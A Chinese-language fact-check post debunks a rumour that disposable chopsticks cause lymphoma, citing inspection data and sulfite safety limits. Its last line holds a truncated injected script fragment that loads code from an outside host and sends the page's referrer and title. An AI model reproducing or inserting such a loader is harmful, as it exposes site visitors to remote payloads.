又跨了一個年,追追追到2017一樣努力不懈,急追真相給大家,近來友人傳了免洗筷會致淋巴癌文章給哺哺,希望哺哺可以進行查證,結果發現早在2005年我們優秀的追追特派員已經證實過,這是十足十的謠言,但是謠言總是會進化,2016年的版本如下:

這次版本是有個優秀健壯同事,因為長期使用免洗筷得了惡性淋巴癌,上網搜尋更有許多小型工廠在骯髒環境,製造讓人夾取美食的免洗筷影片。食藥署及各縣市衛生局早在104年度稽查全國共172家大賣場、量販店、生鮮超市、免洗餐具批發商等,總計抽驗市售免洗筷225件檢驗二氧化硫、聯苯及過氧化氫。檢驗結果惟4件越南進口免洗筷不合標準,1件檢出聯苯0.22 ppm,抽驗不合格率佔1.8%。而越南免洗筷更曾引發消費者恐慌,但此謠言中因為長期使用免洗筷會致癌,卻絕對不是癌症好發的主因。

網路流傳免洗筷會讓人得淋巴癌。(圖/翻攝自手機)

網路流傳免洗筷會讓人得淋巴癌。(圖/翻攝自手機)

免洗筷是指以竹或木為原料經加工製成後,不再經洗滌即可使用之筷子,其實如同網路流傳所述,為了保持較好賣相,業者以二氧化硫和亞硫酸鹽處理,防止筷子變黃、變黑以及發霉。二氧化硫和亞硫酸鹽類是食品加工時經常使用的添加物,屬於漂白劑的一種, 一般人吃下亞硫酸鹽後,在體內可轉變為硫酸鹽,隨尿液排出體外,但有些人會對亞硫酸鹽產生過敏,尤其是氣喘患者。二氧化硫及亞硫酸鹽之毒性並不高,在一般食用狀況下,不會超過每人每日的耐受量(0.7毫克;以60公斤成人為例,每日可耐受的量為42毫克),而對健康造成不良影響。但食入過量的亞硫酸鹽可能會造成呼吸困難、腹瀉、嘔吐等症狀。食藥署為避免有不肖業者使用過氧化氫來達到防腐、殺菌、漂白效果,因此規定不得檢出含有過氧化氫及聯苯等成分,而二氧化硫殘留量應為500 ppm以下。

在這追追追特派員哺哺提醒大家,免洗筷及一次用塑膠類餐具,因使用過即丟棄的特性,常造成資源浪費、增加垃圾處理的成本,加上怕用到漂白過的免洗筷,大家還是自備環保餐具最安心。如需使用免洗筷時,應避免使用顏色太白、有異味或酸味的免洗筷,並注意包裝是否完整,有無破損發霉的現象,使用時勿泡在熱湯裡,以免有害物質溶出風險。

參考連結:

衛生福利部食品藥物管理署 網路流傳免洗筷有許多毒素,吃了會中毒,這是真的嗎? s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + “;